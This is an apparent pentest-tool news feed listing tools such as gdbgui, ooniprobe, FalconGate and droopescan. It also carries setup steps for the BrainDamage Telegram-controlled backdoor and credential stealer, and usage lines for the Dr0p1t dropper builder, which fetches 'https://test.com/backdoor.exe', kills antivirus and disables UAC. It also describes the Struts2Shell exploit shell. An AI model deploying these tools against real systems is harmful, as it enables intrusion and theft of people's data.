Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

HatCloud - Tool for identify IP real of CloudFlare (Bypass CloudFlare)

$
0
0

HatCloud build in Ruby. It makes bypass in CloudFlare for discover real IP. This can be useful if you need test your server and website. Testing your protection against Ddos (Denial of Service) or Dos. CloudFlare is services and distributed domain name server services, sitting between the visitor and the Cloudflare user's hosting provider, acting as a reverse proxy for websites. Your network protects, speeds up and improves availability for a website or the mobile application with a DNS change.

Version: 1.0
Use: 
ruby hatcloud.rb -h or --help 
ruby hatcloud.rb -b your site

or 
ruby hatcloud.rb --byp your site

Screenshot



BrainDamage - A fully featured backdoor that uses Telegram as a C&C server

$
0
0

A python based backdoor which uses Telegram as C&C server.

                           /\
/_.\
_,.-'/ `",\'-.,_
-~^ /______\`~~-^~:

____ _ _____
| _ \ (_) | __ \
| |_) |_ __ __ _ _ _ __ | | | | __ _ _ __ ___ __ _ __ _ ___
| _ <| '__/ _` | | '_ \| | | |/ _` | '_ ` _ \ / _` |/ _` |/ _ \
| |_) | | | (_| | | | | | |__| | (_| | | | | | | (_| | (_| | __/
|____/|_| \__,_|_|_| |_|_____/ \__,_|_| |_| |_|\__,_|\__, |\___|
__/ |
|___/

--> Coded by: Mehul Jain(mehulj94@gmail.com)
--> Github: https://github.com/mehulj94
--> Twitter: https://twitter.com/wayfarermj
--> For windows only

______ _
| ____| | |
| |__ ___ __ _| |_ _ _ _ __ ___ ___
| __/ _ \/ _` | __| | | | '__/ _ \/ __|
| | | __/ (_| | |_| |_| | | | __/\__ \
|_| \___|\__,_|\__|\__,_|_| \___||___/


--> Persistance
--> USB spreading
--> Port Scanner
--> Router Finder
--> Run shell commands
--> Keylogger
--> Insert keystrokes
--> Record audio
--> Webserver
--> Screenshot logging
--> Download files in the host
--> Execute shutdown, restart, logoff, lock
--> Send drive tree structure
--> Set email template
--> Rename Files
--> Change wallpaper
--> Open website
--> Send Password for
• Chrome
• Mozilla
• Filezilla
• Core FTP
• CyberDuck
• FTPNavigator
• WinSCP
• Outlook
• Putty
• Skype
• Generic Network
--> Cookie stealer
--> Send active windows
--> Gather system information
• Drives list
• Internal and External IP
• Ipconfig /all output
• Platform

Setup
  • Telegram setup:
    • Install Telegram app and search for "BOTFATHER".
    • Type /help to see all possible commands.
    • Click on or type /newbot to create a new bot.
    • Name your bot.
    • You should see a new API token generated for it.
  • Dedicated Gmail account. Remember to check "allow connection from less secure apps" in gmail settings.
  • Set access_token in eclipse.py to token given by the botfather.
  • Set CHAT_ID in eclipse.py. Send a message from the app and use the telegram api to get this chat id.
bot.getMe() will give output {'first_name': 'Your Bot', 'username': 'YourBot', 'id': 123456789}
  • Set copied_startup_filename in Eclipse.py.
  • Set Gmail password and Username in /Breathe/SendData.py

Abilities
  • whoisonline- list active slaves
    This command will list all the active slaves.
  • destroy- delete&clean up
    This command will remove the stub from host and will remove registry entries.
  • cmd- execute command on CMD
    Run shell commands on host
  • download- url (startup, desktop, default)
    This will download files in the host computer.
  • execute- shutdown, restart, logoff, lock
    Execute the following commands
  • screenshot- take screenshot
    Take screenshot of the host of computer.
  • send- passwords, drivetree, driveslist, keystrokes, openwindows
    This command will sends passwords (saved browser passwords, FTP, Putty..), directory tree of host (upto level 2), logged keystrokes and windows which are currently open
  • set- email (0:Default,1:URL,2:Update), filename (0: Itself, 1: Others), keystrokes (text)
    This command can set email template (default, download from url, update current template with text you'll send), rename filenames or insert keystrokes in host.
  • start- website (URL), keylogger, recaudio (time), webserver (Port), spread
    This command can open website, start keylogger, record audio, start webserver, USB Spreading
  • stop- keylogger, webserver
    This command will stop keylogger or webserver
  • wallpaper- change wallpaper (URL)
    Changes wallpaper of host computer
  • find- openports (host, threads, ports), router
    This command will find open ports and the router the host is using
  • help- print this usage

Requirements

Screenshots






For educational purposes only, use at your own responsibility.


SSLsplit - transparent SSL/TLS interception

$
0
0

SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encrypted network connections. It is intended to be useful for network forensics, application security analysis and penetration testing.
SSLsplit is designed to transparently terminate connections that are redirected to it using a network address translation engine. SSLsplit then terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. Besides NAT based operation, SSLsplit also supports static destinations and using the server name indicated by SNI as upstream destination. SSLsplit is purely a transparent proxy and cannot act as a HTTP or SOCKS proxy configured in a browser.

SSLsplit supports plain TCP, plain SSL, HTTP and HTTPS connections over both IPv4 and IPv6. SSLsplit fully supports Server Name Indication (SNI) and is able to work with RSA, DSA and ECDSA keys and DHE and ECDHE cipher suites. Depending on the version of OpenSSL built against, SSLsplit supports SSL 3.0, TLS 1.0, TLS 1.1 and TLS 1.2, and optionally SSL 2.0 as well.
For SSL and HTTPS connections, SSLsplit generates and signs forged X509v3 certificates on-the-fly, mimicking the original server certificate's subject DN, subjectAltName extension and other characteristics. SSLsplit has the ability to use existing certificates of which the private key is available, instead of generating forged ones. SSLsplit supports NULL-prefix CN certificates but otherwise does not implement exploits against specific certificate verification vulnerabilities in SSL/TLS stacks.
SSLsplit implements a number of defences against mechanisms which would normally prevent MitM attacks or make them more difficult. SSLsplit can deny OCSP requests in a generic way. For HTTP and HTTPS connections, SSLsplit removes response headers for HPKP in order to prevent public key pinning, for HSTS to allow the user to accept untrusted certificates, and Alternate Protocols to prevent switching to QUIC/SPDY. HTTP compression, encodings and keep-alive are disabled to make the logs more readable.
As an experimental feature, SSLsplit supports STARTTLS and similar mechanisms, where a protocol starts on a plain text TCP connection and is later upgraded to SSL/TLS through protocol-specific means, such as the STARTTLS command in SMTP. SSLsplit supports generic upgrading of TCP connections to SSL.
See the manual page sslsplit(1) for details on using SSLsplit and setting up the various NAT engines.

Requirements
SSLsplit depends on the OpenSSL and libevent 2.x libraries. The build depends on GNU make and a POSIX.2 environment in PATH . If available, pkg-config is used to locate and configure the dependencies. The optional unit tests depend on the check library.
SSLsplit currently supports the following operating systems and NAT mechanisms:
  • FreeBSD: pf rdr and divert-to, ipfw fwd, ipfilter rdr
  • OpenBSD: pf rdr-to and divert-to
  • Linux: netfilter REDIRECT and TPROXY
  • Mac OS X: pf rdr and ipfw fwd
Support for local process information ( -i ) is currently available on Mac OS X and FreeBSD.
SSL/TLS features and compatibility greatly depend on the version of OpenSSL linked against; for optimal results, use a recent release of OpenSSL proper. OpenSSL forks like LibreSSL and BoringSSL may or may not work.

Installation
With OpenSSL, libevent 2.x, pkg-config and check available, run:
make
make test # optional unit tests
make install # optional install
Dependencies are autoconfigured using pkg-config. If dependencies are not picked up and fixing PKG_CONFIG_PATH does not help, you can specify their respective locations manually by setting OPENSSL_BASE , LIBEVENT_BASE and/or CHECK_BASE to the respective prefixes.
You can override the default install prefix ( /usr/local ) by setting PREFIX . For more build options see GNUmakefile .


Struts2Shell - Interactive Shell Command to Exploit Apache Struts CVE-2017-5638

$
0
0

Improves manipulation and sending commands to the vulnerable  Apache Struts server using a shell.

Usage:
python Struts2Shell.py

squidmagic - Analyze a Web-Based Network Traffic to Detect Central Command and Control (C&C) Servers and Malicious Site

$
0
0

squidmagic is a tool designed to analyze a web-based network traffic to detect central command and control (C&C) servers and Malicious site, using Squid proxy server and Spamhaus.

usage
squidmagic # python squidmagic.py /var/log/squid3/access.log

_ _ _
(_) | | (_)
___ __ _ _ _ _ __| |_ __ ___ __ _ __ _ _ ___
/ __|/ _` | | | | |/ _` | '_ ` _ \ / _` |/ _` | |/ __|
\__ \ (_| | |_| | | (_| | | | | | | (_| | (_| | | (__
|___/\__, |\__,_|_|\__,_|_| |_| |_|\__,_|\__, |_|\___|
| | __/ |
|_| |___/
Analyzing...

Analyzing by SBL Advisory...
Spam server detected, ip is 65.182.101.221
Analyzing by SBL_CSS Advisory...
safe server detected, host or ip is 65.182.101.221
Analyzing by PBL Advisory...
safe server detected, host or ip is 65.182.101.221

Run server

<?php
namespace SquidApp\Core;

require dirname(__DIR__) . '/lib/vendor/autoload.php';

$banner = new \SquidApp\Squid();
$squidmagic = new FileSystem();

// output banner
echo $banner->bannerAction();

// Scans a directory for files
$squidmagic->scandirs('squidmagic/Collector path');

// Checks if file exists in certain location
$squidmagic->fileExists('Collector Path/server.php');

// run server
$squidmagic->openInBackground('Collector Path/lib/bin/');
squidmagic/lib # php squidmagic.php 


| |
___ __ _ _ _ _ __| |_ __ ___ __ _ __ _ _ ___
/ __|/ _` | | | | |/ _` | '_ ` _ \ / _` |/ _` | |/ __|
\__ \ (_| | |_| | | (_| | | | | | | (_| | (_| | | (__
|___/\__, |\__,_|_|\__,_|_| |_| |_|\__,_|\__, |_|\___|
| | __/ |
|_| |___/
squidmagic collector started


gdbgui - A browser-based frontend/gui for GDB

$
0
0

A modern, browser-based frontend to gdb (gnu debugger). Add breakpoints, view stack traces, and more in C, C++, Go, and Rust! Simply run gdbgui from the terminal and a new tab will open in your browser. 


Install
[sudo] pip install gdbgui --upgrade
Since gdbgui is under active development, consider running this command fairly often.


Run
gdbgui [binary to debug]
A new tab in your browser will open with gdbgui in it.


Features
  • Debug a different program in each tab (new gdb instance is spawned for each tab)
  • Set/remove breakpoints
  • View stack, threads
  • Switch frame on stack, switch between threads
  • Inspect memory in hex/character form
  • View all registers
  • Dropdown of all files used to compile binary, with autocomplete functionality
  • Source code explorer with ability to jump to line
  • Show assembly next to source code, highlighting current instruction. Can also step through instructions.


Why gdbgui?
  • Actively developed and compatible with the latest version of gdb (7.12)
  • Does only one thing: debugs programs. No integrated build system, no project settings, nothing to make things more complicated than they need to be. Just a lightweight frontend.
  • Design influenced by the amazing Chrome debugger: source code on the left, side panel on the right with collapsable widgets, console on the bottom
  • Full gdb command line utility built in
  • Written in widely used languages (Python and JavaScript)
  • Open source and free

Examples
See https://github.com/cs01/gdbgui/tree/master/examples


Arguments
Positional arguments:
command : (Optional) The binary and arguments to run in gdb. This is a way to script the intial loading of the inferior binary you wish to debug. For example gdbgui ./mybinary -myarg -flag1 -flag2 . Binaries and arguments can also be input through the browser interface after launching.
Flags (all are optional):
-h, --help show this help message and exit
-p PORT , --port PORT
The port on which gdbgui will be hosted
--host HOST The host ip address on which gdbgui serve.
-g GDB , --gdb GDB
Path to gdb executable or lldb-mi executable. Defaults is 'gdb'. lldb support is experimental and not fully functional at this time.
-v, --version Print version
--debug The debug flag of this Flask application. Pass this flag when debugging gdbgui itself to automatically reload the server when changes are detected
-n, --no_browser
By default, the browser will open with gdb gui. Pass this flag so the browser does not open.

Compatibility
Python versions: 2.7, 3.4, 3.5, pypy
Operating systems: Ubuntu 14.04, Ubuntu 16.04, OSX
Browsers: Chrome, Firefox, Ubuntu Web Browser
Gdb: 7.7.1 (tested), 7.12 (tested), likely works with intermediate versions



How Does it Work?
It uses Python to manage gdb as a subprocess. Specifically, the pygdbmi library , which returns key/value pairs (dictionaries) that can be used to create a frontend. To make a usable frontend, first a server must made to interface with gdb. In this case, the Flask server is used, which does three things: creates a managed gdb subprocess with pygdbmi, spawns a separate thread to constantly check for output from the gdb subprocess, and creates endpoints for the browser including http requests and websocket connections.
As output is parsed in the reader thread, it is immediately sent to the frontend through the websocket. As the browser receives these websocket messages, it maintains the state of gdb (whether it's running, paused, or exited, where breakpoints are, what the stack is, etc.) and updates the DOM as appropriate. The browser also sends commands to gdb through a websocket to Flask server, which then passes the command to gdb. Gdb writes new output, which is picked up by the reader thread.
gdbgui was designed to be easily hackable and extendable. There is no build system necessary to run or develop this app.
The main components of gdbgui are
  1. backend.py : The backend consists of a single Python file, which makes use of pygdbmi to interact with a gdb subprocess, and Flask to set up url routing, websockets, and http responses.
  2. gdbgui.pug : HTML file that defines the frontend
  3. gdbgui.js : The majority of the application is contained in this file. It dynamically updates the page, and maintains gdb state. It sends AJAX requests and uses websockets to interact with gdb through the server, then gets the response and updates the DOM as necessary.
  4. gdbgui.css : css stylesheet


Screenshots
Enter the binary and args just as you'd call them on the command line. Binary is restored when gdbgui is opened at a later time.



Intuitive control of your program. From left to right: Run, Continue, Next, Step, Return, Next Instruction, Step Instruction, send interrupt signal (SIGINT) to inferior process.



Stack/Threads
View all threads, the full stack on the active thread, the current frame on inactive threads. Switch between frames on the stack, or threads by pointing and clicking.



Source Code
View source, assembly, add breakpoints. All symbols used to compile the target are listed in a dropdown above the source code viewer, and have autocompletion capabilities.




With assembly. Note the bold line is the current instruction that gdb is stopped on.



Variables and Expressions
All local variables are automatically displayed, and are clickable to explore their fields.



Arbitrary expressions can be evaluated as well.




Expressions record their previous values, and can be displayed in an x/y plot.




Memory Viewer
All hex addresses are automatically converted to clickable links to explore memory. Length of memory is configurable. In this case 16 bytes are displayed per row.



Registers
View all registers. If a register was updated it is highlighted in yellow.




gdb console
Read gdb output, and write to the gdb subprocess as desired. Don't let any gdb commandline skills you've developed go to waste.



gdbgui at launch:


PloitKit - The Hacker's ToolBox

$
0
0

PloitKit is a Python based GUI tool designed as one-stop for all other softwares. I was facing these kinds of problem, when I need to switch to different system, or I lost my pen-drive. I have to go to google, and search every tool and download every tool and so on. So I decided to create a tool, in which I just click and click and tool is there.
I have added more than 900+ tools in this tool, but only 400+ is available now, to test will this tool work, if it works I'll make it available for everyone.

Features
  1. Auto-Update - No need to come over here, and look for new version every time.
  2. Better Error Handling - Some tools may cause error, that's why I added this option.
  3. Graphical Interface - For just click & click.
  4. Malware Protectiong - All tools are downloaded from their original source, so no malwares or any viruses.
  5. Multi-Platform - Many tools are for designed differently for Mac, Windows & Linux, so I added option for that. Choose your platform and you're good to go.
  6. Better organised - Everything is better organised nothing like search everything, and all that mess.
I believe that, nothing can't be perfect, So I added option to report a tool, or send me suggestions about any new tool, I should add.

Usage
git clone https://github.com/rajeshmajumdar/PloitKit.git

Windows
ploitkit.py

UNIX or Mac
python ploitkit.py



Dr0p1t-Framework 1.2 - A Framework That Creates An Advanced FUD Dropper With Some Tricks

$
0
0
Have you ever heard about trojan droppers ?

In short dropper is type of trojans that downloads other malwares and Dr0p1t gives you the chance to create a dropper that bypass most AVs and have some tricks ;)

Features
  • Framework works with Windows and Linux
  • Download executable on target system and execute it silently..
  • The executable size small compared to other droppers generated the same way
  • Self destruct function so that the dropper will kill and delete itself after finishing it work
  • Adding executable after downloading it to startup
  • Adding executable after downloading it to task scheduler ( UAC not matters )
  • Finding and killing the antivirus before running the malware
  • Running a custom ( batch|powershell|vbs ) file you have chosen before running the executable
  • The ability to disable UAC
  • In running powershell scripts it can bypass execution policy
  • Using UPX to compress the dropper after creating it
  • Choose an icon for the dropper after creating it

Screenshots

On Windows




On Linux (Backbox)






Help menu
Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help show this help message and exit
-s Add your malware to startup (Persistence)
-t Add your malware to task scheduler (Persistence)
-k Kill antivirus process before running your malware.
-b Run this batch script before running your malware. Check scripts folder
-p Run this powershell script before running your malware. Check scripts folder
-v Run this vbs script before running your malware. Check scripts folder
--only32 Download your malware for 32 bit devices only
--only64 Download your malware for 64 bit devices only
--upx Use UPX to compress the final file.
--nouac Disable UAC on victim device
--nocompile Tell the framework to not compile the final file.
-i Use icon to the final file. Check icons folder.
-q Stay quite ( no banner )
-u Check for updates
-nd Display less output information

Examples
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --nouac -i flash.ico

Prerequisites
  • Python 2 or Python 3.
The recommended version for Python 2 is 2.7.x , the recommended version for Python 3 is 3.5.x and don't use 3.6 because it's not supported yet by PyInstaller
  • Python libraries requirements in requirements.txt

Needed dependencies for linux
  • Wine
  • Python 2.7 on Wine Machine
Note : You must have root access

Installation
if you are on linux and do
git clone https://github.com/D4Vinci/Dr0p1t-Framework
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
pip install -r requirements.txt
./Dr0p1t.py
And if you are on windows download it and then do
cd Dr0p1t-Framework
pip install -r requirements.txt
pip install -r windows_requirements.txt
./Dr0p1t.py
Libraries in windows_requirements.txt are used to enable unicodes in windows which will make coloring possible

Tested on:
  • Kali Linux - SANA
  • Ubuntu 14.04-16.04 LTS
  • Windows 10/8.1/8

Changelog v1.2
  • Pyinstaller compiling in Linux using wine
  • Pyinstaller compiling in Windows will not use UPX and that will fix the compiling in windows
  • Added the ability to disable and bypass UAC
  • Updated the antivirus list in the antivirus killer
  • Added SelfDestruct function so that the dropper will kill and delete itself after finishing it work :smile:
  • Full framework rewrite and recheck to fix errors, typos and replacing some libraries to make the size of the final file smaller
  • Started working in some SE tricks to fool the user and there's a lot of good options in the way ;) Stay Tuned

Contact



ooniprobe - Measure Internet Censorship & Speed

$
0
0

Interested in collecting evidence of Internet censorship? Curious about the speed and performance of the network that you are using?

By running the tests in this app, you will examine the following:
  • Blocking of websites 
  • Presence of systems that could be responsible for censorship and/or surveillance
  • Speed and performance of your network

These tests have been developed by the Open Observatory of Network Interference (OONI), a free software project (under The Tor Project) that aims to uncover **Internet censorship** around the world. Since 2012, OONI has collected millions of network measurements across more than 90 countries, shedding light on multiple cases of network interference. By running these tests, you will help increase *transparency* around Internet censorship and network interference around the world.

Collecting evidence of Internet censorship.

OONI's web connectivity test is designed to examine whether websites are blocked and if so, how. This test, in particular, attempts to determine whether access to sites is blocked through DNS tampering, TCP/IP blocking, or by a transparent HTTP proxy. By knowing how access to sites is interfered with, you can more easily evaluate how to circumvent that specific type of censorship. As OONI is committed to transparency through the publication of all network measurement data, you can use it as evidence of any censorship events that you come across.



Detecting systems responsible for censorship and surveillance.


Various types of proxy technologies are used in networks for implementing censorship, surveillance, and traffic manipulation. OONI's HTTP invalid request line test is designed to uncover the presence of such systems within tested networks. However, it's important to point out that not all systems that you might find are necessarily responsible for censorship and/or surveillance! Many proxy technologies, for example, are used in networks for caching purposes.

Measuring the speed and performance of your network.

Sometimes the network that we are using doesn't work as well as we'd like it to. OONI's implementation of the Network Diagnostic Test (NDT) attempts to measure the speed of your network by connecting to mLab servers near you and by subsequently uploading and downloading random data. In doing so, NDT collects low level TCP/IP information that can help characterize the speed and performance of your network. Such information can also be useful in examining cases of throttling.

Open data.

OONI publishes all network measurement data that it collects and processes because open data allows third parties to conduct independent studies, to verify OONI findings and/or to answer other research questions. Such data also helps increase transparency around Internet censorship and various forms of network interference. All data is published on OONI Explorer: https://explorer.ooni.torproject.org/.



Free software.

All OONI tests, as well as its NDT implementation, are based on free and open source software. You can find the source code through the following link:

Attention. Running ooniprobe might be against the terms of service of your ISP or legally questionable in your country. By running ooniprobe you will connect to web services which may be banned, and use web censorship circumvention methods such as Tor. The OONI project will publish data submitted by probes, possibly including your IP address or other identifying information. In addition, your use of ooniprobe will be clear to anyone who has access to your computer, and to anyone who can monitor your Internet connection (such as your employer, ISP or government).

Screenshots


Download ooniprobe (Android)

Download ooniprobe (IOs)

Faraday v2.4 - Collaborative Penetration Test and Vulnerability Management Platform

$
0
0
Faraday is the Integrated Multiuser Risk Environment you were looking for! It maps and leverages all the knowledge you generate in real time, letting you track and understand your audits. Our dashboard for CISOs and managers uncovers the impact and risk being assessed by the audit in real-time without the need for a single email. Developed with a specialized set of functionalities that helps users improve their own work, the main purpose is to re-use the available tools in the community taking advantage of them in a collaborative way!

LDAP support

Yes, Faraday’s bucket list is an item shorter as of this release! LDAP support has been on the horizon for quite some time now, but not anymore - this brand new version comes with LDAP support out of the box, no additional modules required, isn’t that neat?

Why LDAP? Well, because a great number of companies around the world use it to centralize their user account management. The protocol provides total control over the credentials in all the platforms, which comes in pretty handy when managing large volumes of data. In fact, LDAP is so popular that some companies have a policy to only use tools that support LDAP authentication.

By adding LDAP support to Faraday, we give our clients the possibility to manage larger teams, implement large-scale installations and maintain a granular and simple control over their user accounts.

In addition, using Faraday over LDAP provides better configuration than ever, allowing complex credential policies such as password expiration and quality standards, or credential lockout.

Faraday Plugin

There are some changes to the Faraday Plugin, improving its functionality by allowing users to run it through the GTK interface, performing actions in batch and filtering objects.

One of the best things about this new version of the Plugin is that you can now use it to script some of the most boring tasks needed in every assessment.

Example of task automation using Faraday Plugin - Running ping for every host that has a service on port 22

We also added a menu option to run directly from GTK!


New menu item in GTK allows users to run Fplugin without having to type anything!
Read more about FPlugin in our documentation

Details are everything

And that is what this release is all about. We believe that correcting very specific details and introducing small improvements also adds quality and efficiency to a platform like ours. So it is in those items that we focused on the last iteration.

Changes

  • Added LDAP support for authentication 
  • Removed grouping by issue tracker option in status report
  • Added command line option to automatically install the license files before launching Faraday 
  • Fixed bug when editing workspaces with maximum allowed workspaces reached 
  • Improved login in Web UI 
  • Improved the validation applied to passwords when editing them in the Web UI


Better password validation

  • Improved UX in users list Web UI 
  • Improved GTK UX when the client loses connection to the server 
  • Added link to name column in Hosts list



Host names with links
  • Fixed bug in SQLMap plugin that made the client freeze 
  • Fixed bug when creating/updating Credentials 
  • Fixed bug in the WEB UI - menu explanation bubbles were hidden behind inputs




    • Fixed conflict resolution when the object was deleted from another client before resolving the conflict 
    • Improved FPlugin
    • Improved the installation process 
    • Improved SQLMap plugin to support –tables and –columns options 
    • Improved navigation in Web UI 
    • Merged PR #137 - CScan improvements: bug fixing, change plugin format and removed unnecessary file output 
    • Merged PR #173 - Hostnames: added hostnames to plugins 
    • Merged PR #105 - OSint: added the possibility of using a DB other than Shodan 
    • The Status Report now remembers the sorting column and order
    • Created a requirements_extras.txt file to handle optional packages for specific features

    We hope you enjoy it, and let us know if you have any questions or comments.

    https://www.faradaysec.com
    https://github.com/infobyte/faraday
    https://twitter.com/faradaysec 

    FalconGate - A smart gateway to stop hackers and Malware attacks

    $
    0
    0

    A smart gateway to stop hackers, Malware and more...

    Motivation
    Cyber attacks are on the raise. Hacker and cyber criminals are continuously improving their methods and building new tools and Malware with the purpose of hacking your network, spying on you and stealing valuable data. Recently a new business model has become popular among hackers: the use of Ransomware to encrypt your data and ask for a ransom to unlock it. These attacks have extended also to the Internet of Things (IoT) devices since many of them are vulnerable by design and hackers can leverage them to compromise other devices in your network or launch DDoS attacks towards other targets. Traditionally securing a network against such attacks has been an expensive item which could be afforded just by medium to large companies. With FalconGate we're aiming to change this and bring "out of the box" security for free to people, small businesses and anyone else in need.

    Features
    FalconGate is an open source smart gateway which can protect your home devices against hackers, Malware like Ransomeware and other threats. It detects and alerts on hacker intrusions on your home network as well as other devices misbehaving and attacking targets within your network or in the Internet.
    Currently FalconGate is able to:
    • Block several types of Malware based on open source blacklists (see detailed list in file intel-sources.md )
    • Block Malware using the Tor network
    • Detect and report potential Malware DNS requests based on VirusTotal reports
    • Detect and report the presence of Malware executables and other components based on VirusTotal reports
    • Detect and report Domain Generation Algorithm (DGA) Malware patterns
    • Detect and report on Malware spamming activity
    • Detect and report on internal and outbound port scans
    • Report details of all new devices connected to your network
    • Block ads based on open source lists
    • Monitor a custom list of personal or family accounts used in online services for public reports of hacking

    Getting Started
    FalconGate was built on top of other open source software so it has multiple dependencies which must be configured correctly for it to work. The fastest way to get FalconGate up and running is to deploy one of the supported system images from our downloads page .

    Supported Platforms
    Currently FalconGate has been successfully tested and implemented on Raspberry Pi (RPi 2 model B) and Banana Pi (BPI-M2+) using Raspian Jessie Lite as base image.
    Jessie Lite for RPi
    Jessie Lite for BPi
    It should be compatible with other Debian ARM images as well but this has not been tested yet.

    Prerequisites
    FalconGate has a number of software dependencies:
    • Bro IDS
    • Python 2.7
    • Nginx
    • Dnsmasq
    • Exim
    • PHP
    It depends also on several Python modules (see requirements.txt file for details)

    Other dependencies
    The devices's malware detection can be enhanced with the utilization of VirusTotal's personal free API
    Currently FalconGate uses have i been pwned public API to detect whether credentials and/or other data from personal accounts have been stolen by hackers from third party sites.

    Deploying FalconGate from a supported image
    This is the fastest way to get FalconGate up and running in your network.
    • Download the correct system image for your device from the downloads page .
    • Extract the image to a folder in your computer.
    • Write the image to your SD card.
    You can use the guides below as reference for Raspberry Pi:
    Linux
    Mac OS
    Windows
    • Insert the SD card in your device and plug it to any available ethernet port in your router.
    • Power on your device and wait few minutes until it will acquire the correct configuration for your network.
    • Login to your router and disable its DHCP server function
    • Login to FalconGate's web app and configure the email address(es) to be used as recipients for alerts and your VirusTotal API key
    https://[FalconGate IP address]
    Username: admin
    Password: falcongate
    Usually FalconGate will assign to its administration interface an IP ending in ".2" (e.g. 192.168.0.2) which is derived from the network's gateway IP Change the default password after the first logon to the application
    • Navigate to the "Configuration" page and fill in the correct fields
    This configuration it's not mandatory but highly desired if you want to unleash FalconGate's full power. In order to obtain a free VirusTotal API key you must register at ( https://www.virustotal.com/ ).

    Installing FalconGate from source
    Follow the steps below to configure your device and install FalconGate from this repository.
    • Download and install the OS image to your Raspberry Pi or Banana Pi device
    This is well documented in multiple sources out there.
    • Connect to your device via SSH
    $ ssh pi@<IP assigned to your RPi>
    • Install Git if you don't have it yet
    $ sudo apt-get update
    $ sudo apt-get install git
    • Clone FalconGate's repository to a local folder
    $ cd /opt
    $ sudo git clone https://github.com/A3sal0n/FalconGate.git
    • Run the installation script inside FalconGate's folder
    $ cd FalconGate/
    $ sudo python install.py
    Now you can go for a walk and prepare a coffee or any other beverage of your choice because the installation usually takes some time. The script will print the progress to the console.
    The script should finish without issues if you're using the supported platforms. If you're attempting to install FalconGate experimentally to a new hardware platform/OS and you get some errors during the installation you could try to correct the issues manually and continue to execute the steps listed in the installation script.
    • Login to your router and disable its DHCP server function
    FalconGate was designed to work connected to a router over ethernet. It does not replaces the functions of your router. Instead it becomes a layer of security between your devices and your router. Disabling your router's DHCP allows FalconGate to become the new gateway for all the devices connected to the same router in your VLAN.
    • Reboot your device to apply all the configuration changes
    • Login to FalconGate's web app and configure the email address(es) to be used as recipients for alerts and your VirusTotal API key

    Deployment
    Some important considerations to keep in mind when deploying FalconGate to a real environment: home or production network.
    • Change the default SSH password in your Raspberry Pi or Banana Pi devices
    • Regenerate the openssh-server certificates for SSH encryption

    Limitations
    Currently the RPi 2 model B and the Banana Pi M2+ have both a single ethernet interface so the traffic forwarding in the gateway it's done using this single interface. This has an impact in networks with fast Internet connection (e.g. > 50Mb/s). However it's still good enough for the home networks of many people's and even some small businesses.


    droopescan - A plugin-based scanner that aids security researchers in identifying issues with several CMSs (Drupal, Silverstripe & Wordpress)

    $
    0
    0

    A plugin-based scanner that aids security researchers in identifying issues with several CMS:
    • Drupal.
    • SilverStripe.
    • Wordpress.

    Partial functionality for:
    • Joomla (version enumeration and interesting URLs only).
    • Moodle (identification doesn't work yet. You need to force 'scan moodle')
    computer:~/droopescan$ droopescan scan drupal -u http://example.org/ -t 8
    [+] No themes found.

    [+] Possible interesting urls found:
    Default changelog file - https://www.example.org/CHANGELOG.txt
    Default admin - https://www.example.org/user/login

    [+] Possible version(s):
    7.34

    [+] Plugins found:
    views https://www.example.org/sites/all/modules/views/
    https://www.example.org/sites/all/modules/views/README.txt
    https://www.example.org/sites/all/modules/views/LICENSE.txt
    token https://www.example.org/sites/all/modules/token/
    https://www.example.org/sites/all/modules/token/README.txt
    https://www.example.org/sites/all/modules/token/LICENSE.txt
    pathauto https://www.example.org/sites/all/modules/pathauto/
    https://www.example.org/sites/all/modules/pathauto/README.txt
    https://www.example.org/sites/all/modules/pathauto/LICENSE.txt
    https://www.example.org/sites/all/modules/pathauto/API.txt
    libraries https://www.example.org/sites/all/modules/libraries/
    https://www.example.org/sites/all/modules/libraries/CHANGELOG.txt
    https://www.example.org/sites/all/modules/libraries/README.txt
    https://www.example.org/sites/all/modules/libraries/LICENSE.txt
    entity https://www.example.org/sites/all/modules/entity/
    https://www.example.org/sites/all/modules/entity/README.txt
    https://www.example.org/sites/all/modules/entity/LICENSE.txt
    google_analytics https://www.example.org/sites/all/modules/google_analytics/
    https://www.example.org/sites/all/modules/google_analytics/README.txt
    https://www.example.org/sites/all/modules/google_analytics/LICENSE.txt
    ctools https://www.example.org/sites/all/modules/ctools/
    https://www.example.org/sites/all/modules/ctools/CHANGELOG.txt
    https://www.example.org/sites/all/modules/ctools/LICENSE.txt
    https://www.example.org/sites/all/modules/ctools/API.txt
    features https://www.example.org/sites/all/modules/features/
    https://www.example.org/sites/all/modules/features/CHANGELOG.txt
    https://www.example.org/sites/all/modules/features/README.txt
    https://www.example.org/sites/all/modules/features/LICENSE.txt
    https://www.example.org/sites/all/modules/features/API.txt
    [... snip for README ...]

    [+] Scan finished (0:04:59.502427 elapsed)
    You can get a full list of options by running:
    droopescan --help
    droopescan scan --help

    Why not X?
    Because droopescan:
    • is fast
    • is stable
    • is up to date
    • allows simultaneous scanning of multiple sites
    • is 100% python

    Installation
    Installation is easy using pip:
    apt-get install python-pip
    pip install droopescan
    Manual installation is as follows:
    git clone https://github.com/droope/droopescan.git
    cd droopescan
    pip install -r requirements.txt
    ./droopescan scan --help
    The master branch corresponds to the latest release (what is in pypi). Development branch is unstable and all pull requests must be made against it. More notes regarding installation can be found here .

    Features

    Scan types.
    Droopescan aims to be the most accurate by default, while not overloading the target server due to excessive concurrent requests. Due to this, by default, a large number of requests will be made with four threads; change these settings by using the --number and --threads arguments respectively.
    This tool is able to perform four kinds of tests. By default all tests are ran, but you can specify one of the following with the -e or --enumerate flag:
    • p -- Plugin checks : Performs several thousand HTTP requests and returns a listing of all plugins found to be installed in the target host.
    • t -- Theme checks : As above, but for themes.
    • v -- Version checks : Downloads several files and, based on the checksums of these files, returns a list of all possible versions.
    • i -- Interesting url checks : Checks for interesting urls (admin panels, readme files, etc.)
    More notes regarding scanning can be found here .

    Target specification.
    You can specify a particular host to scan by passing the -u or --url parameter:
        droopescan scan drupal -u example.org
    You can also omit the drupal argument. This will trigger “CMS identification”, like so:
        droopescan scan -u example.org
